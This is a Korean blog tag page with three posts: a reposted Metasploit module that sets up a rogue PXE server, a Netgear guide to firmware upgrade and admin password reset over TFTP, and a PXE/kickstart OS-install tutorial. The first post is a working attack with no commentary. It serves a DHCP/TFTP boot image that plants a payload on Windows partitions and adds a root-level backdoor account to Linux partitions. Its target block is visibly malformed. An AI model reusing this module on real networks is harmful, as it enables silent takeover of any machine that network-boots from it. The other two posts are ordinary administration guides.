'tftp'에 해당되는 글 3건

  1. 2011.08.08 PXE exploit server
  2. 2009.10.01 TFTP서버를 이용한 펌웨어 업그레이드 및 관리자 암호 초기화 방법 (2)
  3. 2009.02.25 PXE 네트워크 부팅을 통한 OS 설치 자동화 (3)
2011.08.08 18:54

PXE exploit server

##
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
##
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::TFTPServer
  
    def initialize
        super(
            'Name'        => 'PXE exploit server',
            'Version'     => '$Revision: 13493 $',
            'Description'    => %q{
                This module provides a PXE server, running a DHCP and TFTP server. 
                The default configuration loads a linux kernel and initrd into memory that 
                reads the hard drive; placing the payload on the hard drive of any Windows 
                partition seen, and add a uid 0 user with username and password metasploit to any 
                linux partition seen.
            },
            'Author'      => [ 'scriptjunkie' ],
            'License'     => MSF_LICENSE,
            'Version'        => '$Revision: 13493 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 4500,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal'
                        
                        }
                    ],
                ],
            'Privileged'     => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'DefaultTarget'  => 0
        )
  
        register_options(
            [
                OptInt.new('SESSION',   [ false'A session to pivot the attack through' ])
            ], self.class)
  
        register_advanced_options(
            [
                OptString.new('TFTPROOT',   [ false'The TFTP root directory to serve files from' ]),
                OptString.new('SRVHOST',   [ false'The IP of the DHCP server' ]),
                OptString.new('NETMASK',   [ false'The netmask of the local subnet', '255.255.255.0' ]),
                OptString.new('DHCPIPSTART',   [ false'The first IP to give out' ]),
                OptString.new('DHCPIPEND',   [ false'The last IP to give out' ])
            ], self.class)
    end
  
    def exploit
        if not datastore['TFTPROOT']
            datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
        end
        datastore['FILENAME'] = "update1"
        datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
  
        # Prepare payload
        print_status("Creating initrd")
        initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
        uncompressed = Rex::Text.ungzip(initrd)
        payl = payload.generate
        uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
        initrd = Rex::Text.gzip(uncompressed)
  
        # Meterpreter attack
        if framework.sessions.include? datastore['SESSION']
            client = framework.sessions[datastore['SESSION']]
            if not client.lanattacks
                print_status("Loading lanattacks extension...")
                client.core.use("lanattacks")
            end
  
            print_status("Loading DHCP options...")
            client.lanattacks.load_dhcp_options(datastore)
            1.upto(4) do |i|
                print_status("Loading file #{i} of 4")
                if i < 4
                    contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
                else
                    contents = initrd
                end
                client.lanattacks.add_tftp_file("update#{i}",contents)
            end
            print_status("Starting TFTP server...")
            client.lanattacks.start_tftp
            print_status("Starting DHCP server...")
            client.lanattacks.start_dhcp
            print_status("pxesploit attack started")
            return
        end
  
        # normal attack
        print_status("Starting TFTP server...")
        @tftp = Rex::Proto::TFTP::Server.new
        @tftp.set_tftproot(datastore['TFTPROOT'])
        @tftp.register_file('update4',initrd)
        @tftp.start
  
        print_status("Starting DHCP server...")
        @dhcp = Rex::Proto::DHCP::Server.new( datastore )
        @dhcp.start
        print_status("pxesploit attack started")
  
        # Wait for finish..
        @tftp.thread.join
        @dhcp.thread.join
        print_status("pxesploit attack completed")
    end
  
end


출처 : exploit-db.com

Trackback 0 Comment 0
2009.10.01 13:02

TFTP서버를 이용한 펌웨어 업그레이드 및 관리자 암호 초기화 방법

펌웨어를 업그레이드 하기 위해 TFTP 를 이용하는 방법
TFTP를 통한 업그레이드를 위해서 PC에 TFTP서버 프로그램이 설치되어 있어야 합니다. 또한 해당 PC의 TFTP 파일 디렉토리에 이미지 파일이 있어야 합니다.

TFTP 서버 프로그램을 구하는 방법
많은 상업용 혹은 프리웨어의 TFTP 소프트웨어를 손쉽게 구할 수 있습니다. http://perso.wanadoo.fr/philippe.jounin/tftpd32.html

TFTP 서버 프로그램 구동하기

1. TFTP서버를 구동합니다. PC가 어떠한 장치에도 연결되어 있지 않다면, 대부분 169.254.x.x와 같은 대역의 IP를 갖게 됩니다. 여기에선 TFTP서버의 PC IP가 169.254.16.239로 가정합니다.

2. TFTP서버의 디렉토리에 펌웨어 이미지를 복사해둡니다.

라우터를 TFTP의 클라이언트로 설정

1. Redboot 프롬프트에서 TFTP서버와 같은 대역의 IP주소를 라우터에 할당합니다.

ip_address -l

RedBoot> ip_address -l 169.254.16.240
IP: 169.254.16.240/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.16.1, DNS server IP: 0.0.0.0

2. 다음 명령어를 통해서 TFTP서버로부터 이미지를 가져옵니다.

fuseimage -h

RedBoot> fuseimage -h 169.254.16.239 fvx538_v2.0.rc22.img
Downloading image file fvx538_v2.0.rc22.img from TFTP server 169.254.16.239 to R
AM address 0x1600000
|
Raw file loaded 0x01600000-0x01d3efff, assumed entry at 0x01600000
Image fvx538_v2.0.rc22.img successfully downloaded
Erasing flash partition appimg1 of size 7864320 at flash address 0x50040000
... Erase from 0x50040000-0x507c0000: ..........................................
..................
Writing image of size 7598080 to flash
... Program from 0x01600000-0x01d3f000 at 0x50040000: ..........................
................................
Image downloaded and fused successfully

3. 전송이 완료되면 리셋명령어로 라우터를 재부팅합니다.

RedBoot> reset
... Resetting.

FSM700S(FSM726s, FSM750s, GSM712) 소프트웨어 버전(2.0.0)을 아래의 링크에서 다운받습니다.
http://www.netgear.co.kr/cscenter/download/file/RDUx_ng.3124

[GUI환경으로 접속하여 업그레이드 하는 방법]
[1] 다운받은 TFTP 압축파일(tftpd32e.zip)을 푸신후 tftpd32.exe 파일을 실행합니다.

[2] Server Interface는 TFTP서버로 구동될 컴퓨터의 IP주소(tftpd32.exe가 실행중인 컴퓨터 IP 주소)를 적어줍니다.

- FSM726s 스위치 IP Address : 192.168.10.100
- TFTP Server IP Address : 192.168.10.28

[3] Settings를 클릭하여 아래와 같이 설정합니다.


[4] Show Dir을 클릭하여 소프트웨어 파일이 있는지 확인합니다.

[5] 위와같이 설정을 모두 마친후 레지스트리를 점검하여 설정이 정확하게 되어 있는지 확인합니다.
시작--실행에서 regedit를 입력후 확인버튼을 누릅니다.
//HKEY_LOCAL_MACHINE\SOFTWARE\TFTPD32에서 LocalIP, WinSize의 값이 정확하게 기록되어 있는지 확인합니다.
Settings에서 설정한 값이 저장되어 있지 않을 경우, 수동으로 LocalIP와 WinSize를 입력합니다.

[6] 인터넷 익스플로러에서 FSM726s(192.168.10.100)로 접속합니다. 만일, 암호를 분실한 경우에는 하이퍼터미널로 접속하여 설정합니다.

Tools-->Software Upgrade를 클릭합니다. 아래와 같이 입력합니다.
- Next Boot from : Net
- TFTP Server IP Address : 192.168.10.28(TFTP프로그램이 실행중인 컴퓨터)
- TFTP Path/Filename : RDUx_ng.3124


Next Boot from에는 아래와 같이 세가지의 모드가 있습니다.

ㅇNet : 테스트 형식으로 펌웨어를 업그레이드 시킨후에 기기를 재부팅하면 이전 펌웨어로 돌아감.
ㅇNet & save : 영구적으로 새로운 펌웨어어가 탑재됨
ㅇLast Saved

[7] Apply를 클릭후 스위치의 전원을 껐다가 켜주면 아래와 같이 TFTP서버에서 파일이 전송되었다는 메시지가 출력됩니다.


소프트웨어 업그레이드가 완료되었습니다.

[8] 위와같이 업그레이드 완료후 Tools>Save Configuration에서 Save Configuration to NVRAM을 Save시켜주면 펌웨어가 non-volatile memory에 저장됩니다.

[콘솔케이블로 접속하여 업그레이드 하는 방법---암호 분실시]

GUI와 같이 동일하게 TFTP서버를 만들어 놓은 콘솔케이블을 연결하여 하이터퍼미널로 스위치에 접속합니다.
(스위치의 관리자 암호를 분실하였을 경우, 소프트웨어 버전 업그레이드를 통해 초기화 할 수 있습니다. 단, 업그레이드 이후에 다시 비밀번호를 분실하였을 경우, 암호 초기화가 되지 않으며, 최초 업그레이드를 할 경우에만 디폴트 계정으로 암호없이 접속할 수 있습니다. 한번도 스위치 소프트웨어를 업그레이드 하지 않았다면 암호를 초기화하는 것이 가능합니다.)

[1] 시작-->프로그램-->보조프로그램-->통신-->하이퍼터미널을 차례대로 클릭합니다.
[2] 새연결 이름에 적당한 이름을 넣어줍니다. (예 : FSM726s)
[3] 연결에 사용할 모뎀에 COM1을 선택한후 확인버튼을 누릅니다.
[4] 포트설정은 아래와 같습니다.
- 비트/초(B) : 9600
- 데이터 비트 : 8
- 패리티 : 없음
- 정지비트 : 1
- 흐름제어 : 없음

[5] 하이퍼터미널 창이 뜨면 스위치의 전원을 껐다가 켜주면 아래와 같이 부팅시 시작됩니다.

RDU Product coming up...

....CPU type is R4650 revision 0x00
....DRAM found is 16MB
....Testing DRAM...OK
....Initializing FLASH Memory
....Initializing PCI host bridge

... <----- 이부분에서 ESC버튼을 한번만 눌러줍니다.

Booting up... Ver 1.0 (2053) (20020131)

Reading non-volatile data...

Boot from net...

....MAC Address = [00:30:ab:17:8e:37] <--- 스위치의 MAC Address
....IP Address = [192.168.10.100 ] <--- 스위치의 IP Address
....Gateway IP Address = [192.168.10.254 ] <--- LAN 스위치에 연결된 컴퓨터들의 Gateway Router Address
....Subnet Mask = [255.255.255.0 ] <--- Gateway Router의 서브넷 마스크
....TFTP Server IP Address = [ ] <--- TFTP를 사용하지 않았다면 아무것도 입력되어 있지 않습니다.
....TFTP File Name = [ ] <--- TFTP 파일이름도 입력되어 있지 않습니다.

To change the boot configuration, hit ESC....<5> <--- 이부분에서 ESC버튼을 눌러야 하지만 종종 다음화면으로 기다리는 시간없이 건너뛸 수도 있기 때문에 윗단계에서 미리 ESC버튼을 눌러줍니다.

....Boot Mode (F)lash or (N)et: N <--- 그냥 플래쉬 메모리를 로딩하려면 F, 설정을 바꾸려면 N을 입력후 엔터를 칩니다.(TFTP 서버설정을 하기 위해 N을 입력합니다.)
....IP Address = [192.168.10.100 ]
....Gateway IP Address = [192.168.10.254 ]
....Subnet Mask = [255.255.255.0 ]
....TFTP Server IP Address = [192.168.10.28 ] <--- TFTP 서버의 IP 주소를 입력해 줍니다.
....TFTP File Name = [RDUx_ng.3124 ] <--- 업로드할 펌웨어 파일 이름을 입력해 줍니다.

Is this correct? Y <--- 설정이 정확하게 되었다면 Y를 눌러 엔터를 칩니다.

Saving boot up options...

Loading from (192.168.10.28:RDUx_ng.3124) Done. <--- RDUx_ng.3124라는 파일을 로딩완료하였습니다.
Transfered 1114182 bytes, CRC 99B83175

Decompressing image... Done.
Expanded to 3061536 bytes, CRC 39632134

Loading image... Release 2.0.0 (3124) (03271626) <--- 다시 이미지 파일이 로딩되기 시작합니다.

....Code Size............................6912K
....Total Free Memory Size...............9472K ..

........ Start Address..................0x806c0000
........ End Address..................0x81000000
Copyright (c) 1982, 1986, 1989, 1991, 1993
The Regents of the University of California. All rights reserved.

Initializing...

System Interface Attachments:
....Device tty0 has been attached.
....Device de0 has been attached.
....Device nd0 has been attached.

System Initialization Completed....

Copyright(C) 1998-2002 NETGEAR(TM)
FSM726S Managed Stackable Switch Main Menu
........ a. System
........ b. Status
........ c. Set-up
........ d. Tools
........ e. Security
........ f. Advanced
........ g. Exit

================================================================================
Hit <Enter> to overview System Information
<Tab> Move the Cursor <Ctrl-L> Refresh <Ctrl-W> Save

위와같이 새버젼을 업그레이드 할 경우, 이전버젼의 암호를 무시한채 암호없이 접속이 가능합니다.
각 버전마다 암호를 지정하였고, 불행하게도 모두 암호를 분실한 경우, 동일한 버전 혹은 이전버젼으로 소프트웨어 버전을 업로드하여도 암호는 초기화 되지 않으니 암호설정에 주의해 주시기 바랍니다.

새로운 버전으로 업그레이드 하여 계속 사용할 경우, Advanced-->Advanced Tools-->Software Upgrade에서 Next Boot From을 Net & Save 모드로 변경후 위의 업그레이드 절차를 진행합니다.


출처 : http://www.netgear.co.kr


Trackback 1 Comment 2
  1. 이민석 2015.03.21 14:48 신고 address edit & del reply

    이게 pc에서 pc업데이트해줄때 하는건가요? 아니면 pc서버로 외부의 모바일에서 usb로 pc에 연결해서 펌웨어가 운영체제 업데이트같은거 받을 수 있게 해주는 기능인가요? 자동업데이트는 아니더라도스마트폰 사용자가 해당 펌웨어나 운영체제 버젼확인만 해주고 나머지는 모바일사용자가 펌웨어나 안드로이드운영체제 버젼을 선택한후 내려받기식이나 바로 모바일에서 설치되게끔 해줄 수있게끔도 가능한가요?....제가 전혀 몰라서요,,제가 전공할사람은 아니구요,,,저의 고객이 이런것을 너무 몰라서 이런기능을 제 사이트에서 제공해줄 수 있게 해주고 싶어서요,,,,일단은 가게하는 입장에서 고객만족을 제대로 해주고 싶어서 그러는 순수한 마음에서 입니다..다른 용도는 아니구요,,,이게 가능하거나 하실 수있는방법을 아시고 계시는분들은 메일주시면 소정의 사례금 드릴게요,,dlswhdlspdlq@naver.com 입니다...잘부탁드립니다.

2009.02.25 11:52

PXE 네트워크 부팅을 통한 OS 설치 자동화

PXE(Preboot Execution Environment)란 운영체제가 설치되어 있지 않는 원격지의 컴퓨터를 네트워크 도메인에 참가시키는 것만으로도 부팅을 시킬 수 있는 환경을 말한다. 말은 되게 어려워 보이는데 실제로는 아주 간단한 기능으로 동작을 한다. 

요즘에 출시되는 대부분의 메인보드들은 PXE를 지원한다. BIOS설정에서 찾아보면 PXE라 든지 Network on boot rom과 같은 옵션들이 보이는 보드들은 PXE를 지원하는 보드들이다. 이 기능을 활성화 한 다음 부트 오더에 가장 첫번째에 LAN을 두면 활성화 된다. 보드 별로 설정하는 방법이 상이 할 수 있으니 보드 메뉴얼을 참조 하여 PXE를 활성화 하도록 하자

PXE의 기본 동작을 보면 위와 같은 구성으로 되어있다. PXE는 기본적으로 클라이언트이기 때문에 서버가 필요하다. 서버에는 DHCP 서버와 tftp서버 그리고 초기 램디스크 이미지(initrd.img)와 커널 이미지(vmlinuz)가 있으면 모든 준비가 된다.

일단 서버의 설치는 나중에 보도록 하고 먼저 PXE의 코드에서 가장 먼저 실행되는 것은 DHCP 클라이언트이다. 서버로 부터 IP를 가져오기 위해 DHCP 리퀘스트를 전송하면 서버에서는 적당한 IP를 하나 던져 주는데 일반적인 DHCP 응답 메시지가 아니라 PXE를 위한 부가적인 옵션을 전송하도록 설정을 해야한다. 이렇게 DHCP 서버로 부터 IP를 할당 받은 후에는 tftp 프로토콜을 이용하여 초기 램디스크 이미지와 커널이미지를 서버로부터 다운로드 받게 된다.

tftp는 이름에서도 알 수 있듯이 ftp와 비슷하지만 전혀 다른 프로토콜이다. udp를 사용하는 파일전송 프로토콜로 파일전송과정이 아주 단순하고 데이터의 완전한 전송을 보장하지는 못한다. 하지만 아주 가볍고 프로토콜이 간단하기 때문에 커널이미지의 전송과 같은 업로드에 많이 사용된다. 이렇게 전송받은 초기 램디스크 이미지와 커널 이미지로 부팅을 하게 되는 것이다. 

글이 복잡해 보이지만 간단하게 IP 할당 받고 커널 이미지 전송받고 부팅한다. 라고 생각하면 된다.

1. 네트워크 구성
서버에는 100.100.100.1을 할당하고 L2 스위치(또는 허브)에는 리눅스를 설치할 클라이언트를 연결하였다. 이제 서버에 dhcpd와 tftp 서버를 올려서 PXE부팅이 가능하도록 설정하면 된다.

2. DHCPD 설정
linux에서의 DHCP 서버의 지원은 dhcpd가 하고 있다. dhcpd를 yum이나 rpm 또는 소스로 설치를 한다음 /etc/dhcpd.conf 파일을 수정한다.

ddns-update-style ad-hoc;

ignore client-updates;
default-lease-time 600;
max-lease-time 7200;
option routers 100.100.100.1;
option subnet-mask 255.255.255.0;

subnet 100.100.100.0 netmask 255.255.255.0 {
        range 100.100.100.2 100.100.100.254;
}

option root-path "/tftpboot";
filename "pxelinux.0";

설정을 잠깐 살펴보면 100.100.100.2 ~ 254 까지의 IP를 클라이언트에 할당하게 하고 디폴트 라우팅은 100.100.100.1로 주도록하였다. option root-path "/tftpboot 는 나중에 tftp 설치때 지정할 루트 디렉토리로 설정하였다. filename "pxelinux.0"은 SYSLINUX를 설치하면 볼 수 있는 파일로 네트워크 서버를 통한 부팅을 사용할 때 필수적인 파일으로 Intel PXE의 스펙에 맞는 네트워크 ROM이다.

# service dhcpd start

3. tftpd 설치
tftpd는 위에서도 잠깐 설명했듯이 ftp와는 전혀 다른 프로토콜이지만 하는 기능은 비슷하다. ftp에 비해 프로토콜이 단순하며 전송된 파일의 유효성을 검증하지는 못한다. udp 프로토콜을 사용하므로 실제로 전달 받은 파일에 에러가 있더라도 검출해내지 못한다는 뜻이다. 하지만 커널이미지와 같은 아주 작은 파일을 전송할 경우에 에러가 나는 경우는 거의 없다고 해도 무방할정도로 신뢰성이 보장되는 프로토콜이며 단순하고 가벼워서 임베디드 시스템에서 많이 사용되는 프로토콜이다.

배포판 리눅스에서는 보통 xinetd라는 인터넷 접속 관리 서비스와 많이 연계되어서 사용되어진다. xinetd는 접속 포트에 대해 접속 권한 제어와 같은 역할을 하는데 자세한 사항은 따로 찾아보도록 하자. 물론 tftpd를 standalone 방식으로 사용할 수 있기도 하지만 여기서는 xinetd에 연계하여 사용하는 방식으로 설명하겠다.

tftp를 설치한 후 /etc/xinetd.d 에 들어가면 xinetd가 관리하는 여러 접속 프로그램에 대한 설정 들이 있다. echo, time 서비스 등등 여러 포트에 대한 접속 제어 파일을 볼 수 있는데 여기에다 tftp에 대한 설정을 추가 하도록 하자.
service tftp
{
        socket_type             = dgram
        protocol                = udp
        wait                    = yes
        user                    = root
        server                  = /usr/sbin/in.tftpd
        server_args             = -s /tftpboot
        disable                 = no
        per_source              = 11
        cps                     = 100 2
        flags                   = IPv4
}

tftp라는 이름으로 파일을 생성하고 위와 같이 타이핑을 하도록 한다. in.tftpd는 xinetd를 사용하여 서비스를 시작할 때 사용되는 명령어이며 -s /tftpboot는 /tftpboot를 루트 디렉토리로 사용하겠다는 의미이다. disable 항목을 no로 넣으면 xinetd가 실행할 때 tftp 서비스를 실행시켜 준다.

# service xinetd start

NFS(Network File System) 서비스는 원격지의 PC가 지정한 디렉토리를 마운트하여 사용할 수 있도록 해주는 서비스입니다.

/etc/exports 파일을 수정합니다.

/nfs/fedora5 *(ro)

/nfs/fedora5 디렉토리를 *(모든 IP)에 대해서 ro(읽기 전용)으로 허용한다는 의미입니다.
/nfs/fedora5 디렉토리를 생성하고 fedora 미러 사이트에서 FC5 ISO 이미지를 다운로드 받아 복사합니다.

# service nfs start

4. pxelinux.0 및 램 디스크 이미지, 커널 이미지의 설정


위와 같이 파일들을 배치하도록한다.

pxelinux.0는 syslinux를 설치하면 /usr/lib/syslinux 디렉토리 및에서 찾아 볼 수 있다. 이 파일을 복사하여 /tftpboot/에 집어 넣도록한다.

# cp /usr/lib/syslinux/pxelinux.0 /tftpboot

램 디스크 이미지와 커널 이미지는 배포판 시디에 보면 /images/pxeboot/ 디렉토리에 initrd.img와 vmlinuz라는 파일이 있다 이 파일들이 각각 램 디스크 이미지와 커널 이미지이다. 이 파일을 복사하여 /tftpboot/배포판이름/ 에 집어 넣도록 하자.

그런 다음 pxelinux.cfg 디렉토리(파일이 아니다)를 생성하고 그 디렉토리에서 default라는 파일을 생성하도록 한다. PXE에서는 pxelinux.cfg에 있는 설정파일을 읽게 되는데 일치하는 설정이 없을 경우 마지막으로 default를 읽게 된다.

# mkdir /tftpboot/pxelinux.cfg

/tftpboot/pxelinux.cfg/default 파일을 생성한다.

default install
prompt 1
timeout 300

label install
        kernel vmlinuz
        append initrd=initrd.img

LABEL fedora5
        MENU LABEL fedora5
        kernel fedora5/vmlinuz
        append ksdevice=link load_ramdisk=1 initrd=fedora5/initrd.img network ks=nfs:100.100.100.1:/nfs/ks/fedora5.cfg
menu.c32를 이용하여 메뉴를 만들어 설치할 os나 설정등을 선택하도록 만들 수도 있지만 설명이 길어지므로 생략하도록 한다. 위의 append 옵션을보면 nfs를 사용하여 서버IP에 있는 kickstart 파일을 읽어오도록 설정하였다.

이렇게 설정을 완료하면된다. 마지막으로 nfs를 사용하여 OS 배포판의 이미지를 올리고 kickstart파일을 작성하여 자동으로 설치되도록 할 수 있다.

# cp /media/cdrom/images/pxeboot/vmlinuz /tftpboot
# cp /media/cdrom/images/pxeboot/initrd.img /tftpboot


참고자료
- PXE Booting in Debian : http://wiki.kldp.org/wiki.php/PXEBootingInDebian/
- TFTP + PXE + syslinux + Fedora install

Trackback 0 Comment 3
  1. 구경꾼 2009.10.29 13:17 신고 address edit & del reply

    프로젝트로 관련 과제를 하고 있는데, 기본 이해에 많은 도움이 되었습니다.
    웹에 자료는 영어투성이라-_- 보다가 질리겠더군요.
    감사합니다.

  2. 개태짱 2015.09.10 14:30 신고 address edit & del reply

    pxelinux.0 부분 경로 맞나요?
    cp /usr/lib/syslinux/ -> lib이 아니라 /usr/share아닌지;